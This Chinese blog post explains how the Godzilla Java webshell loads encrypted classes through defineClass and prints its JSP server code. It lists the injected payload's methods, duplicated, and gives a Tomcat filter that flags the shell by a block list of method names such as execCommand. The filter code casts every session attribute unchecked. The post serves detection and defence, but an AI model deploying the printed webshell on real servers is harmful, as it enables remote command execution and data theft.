近些年攻防中 Java webshell 不能说尤为常见吧,差不多也是次次都有。本文拿最为流行的 webshell 工具之一“Godzilla
”为例,使用最简单的方式,实现"致盲"的效果。
众所周知,Java 里没有提供像php
中eval()
直接去动态执行代码的方法,但是可以通过ClassLoader
的defineClass
去定义一个类。
实际上也就拥有了动态执行代码的能力。
再来具体看Godzilla
的服务器端实现,它也正是通过动态类加载实现的各种如文件上传、命令执行等功能,然后再套进AES
加解密,其核心就是使用了defineClass
进行动态类加载。
<%!
String xc="3c6e0b8a9c15224a";
String pass="pass";
String md5=md5(pass+xc);
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
} }
public byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
//展示起来太长不美观,剔除了反射获取base64类相关代码
%>
<%
try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data,false);
if (session.getAttribute("payload")==null){
System.out.println("session setAttribute Payload");
session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters",data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(md5.substring(16));
}
}catch(Exception e){}
%>
我们在某些场景中可能会遇到这样的问题,就比如在应急的过程中,Web
程序中可能被打入了内存马,服务器又不能直接下线,又或者是攻击过程中,一个漏洞被多个队伍重复利用;为了避免这种”狭路相逢勇者胜“的局面,我们需要些小小的手段,来使我们尽可能处于更有利的局面。
tomcat
环境里WebShell
可以动态注册Filter
、Listener
来实现文件不落地,相对更隐蔽的方式进行控制。"攻防不分家",当然我们也能使用这样的方式来作为临时性的防御手段。
聚焦到这段代码里,可以看到默认情况下它会将要加载的类信息放置到Attribute
中。
<%
try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data,false);
if (session.getAttribute("payload")==null){
System.out.println("session setAttribute Payload");
session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters",data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
response.getWriter().write(md5.substring(16));
}
}catch(Exception e){}
%>
在Servlet
的HttpServletRequest
对象中通过getAttributeNames()
方法能够获取到当前请求会话中的所有Attribute
,我们可以通过遍历其中哪些属性中包含Class
对象,再通过getDeclaredMethods获取这个类中所有的方法来识别疑似的恶意代码:
public class TestFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();
while (requestAttributeNames.hasMoreElements()) {
String attributeName = requestAttributeNames.nextElement();
Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);
Method[] methods = suspectClass.getDeclaredMethods();
for (Method method : methods) {
System.out.println(method);
}
}
filterChain.doFilter(servletRequest,servletResponse);
}
Godzilla
初始化传递的类包含的所有方法,其中就包含有像execCommand
、getBasicinfo
等方法:
public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)
public void org.apache.coyote.node.TextNode.formatParameter()
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])
public byte[] org.apache.coyote.node.TextNode.readFile()
public byte[] org.apache.coyote.node.TextNode.uploadFile()
public byte[] org.apache.coyote.node.TextNode.newFile()
public byte[] org.apache.coyote.node.TextNode.newDir()
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.moveFile()
public byte[] org.apache.coyote.node.TextNode.copyFile()
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()
public java.util.Map org.apache.coyote.node.TextNode.getEnv()
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])
private void org.apache.coyote.node.TextNode.initSessionMap()
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()
public byte[] org.apache.coyote.node.TextNode.execCommand()
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()
public byte[] org.apache.coyote.node.TextNode.screen()
public byte[] org.apache.coyote.node.TextNode.setFileAttr()
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)
public byte[] org.apache.coyote.node.TextNode.deleteFile()
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()
public byte[] org.apache.coyote.node.TextNode.include()
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])
public byte[] org.apache.coyote.node.TextNode.run()
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.toString()
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)
public byte[] org.apache.coyote.node.TextNode.close()
public byte[] org.apache.coyote.node.TextNode.getFile()
public byte[] org.apache.coyote.node.TextNode.test()
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)
public void org.apache.coyote.node.TextNode.formatParameter()
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])
public byte[] org.apache.coyote.node.TextNode.readFile()
public byte[] org.apache.coyote.node.TextNode.uploadFile()
public byte[] org.apache.coyote.node.TextNode.newFile()
public byte[] org.apache.coyote.node.TextNode.newDir()
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.moveFile()
public byte[] org.apache.coyote.node.TextNode.copyFile()
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()
public java.util.Map org.apache.coyote.node.TextNode.getEnv()
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])
private void org.apache.coyote.node.TextNode.initSessionMap()
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()
public byte[] org.apache.coyote.node.TextNode.execCommand()
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()
public byte[] org.apache.coyote.node.TextNode.screen()
public byte[] org.apache.coyote.node.TextNode.setFileAttr()
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)
public byte[] org.apache.coyote.node.TextNode.deleteFile()
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()
public byte[] org.apache.coyote.node.TextNode.include()
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])
public byte[] org.apache.coyote.node.TextNode.run()
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)
public java.lang.String org.apache.coyote.node.TextNode.toString()
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)
public byte[] org.apache.coyote.node.TextNode.close()
public byte[] org.apache.coyote.node.TextNode.getFile()
public byte[] org.apache.coyote.node.TextNode.test()
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)
到这儿已经能够实现对默认情况下的Godzilla
通讯检测,也可以通过检测类方法中黑名单的方式来进行阻断通讯。当然实战中也可以通过反射去动态注册。
最终代码:
package org.example;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.*;
public class TestFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
List<String> blackList = new ArrayList<>();
//检查某个类中是否同时包含以下几个方法名称
blackList.add("getBasicsInfo");
blackList.add("execCommand");
blackList.add("fileRemoteDown");
blackList.add("screen");
blackList.add("setFileAttr");
blackList.add("handlePayloadContext");
HttpServletRequest request = (HttpServletRequest) servletRequest;
Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();
while (requestAttributeNames.hasMoreElements()) {
String attributeName = requestAttributeNames.nextElement();
Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);
Method[] methods = suspectClass.getDeclaredMethods();
int count =0;
if(methods.length < 60) {
//防止出现预期外ddos
for (Method method : methods) {
// System.out.println(method);
count += blackList.contains(method.getName()) ? 1 : 0;
if(count == blackList.size()) {
System.out.println("[+] WebShell Detected :"+request.getServletPath());
return;
}
}
}
}
filterChain.doFilter(servletRequest,servletResponse);
}
马儿已经无法正常初始化,也可以写些其他的逻辑,让其只能为我所用。
本文使用了最简单的思路对Godzilla
进行了阻断和检测,但并不能保证能探测到某些魔改后的工具。
网络无边界,安全有底线。
关注不迷路,共筑防火墙。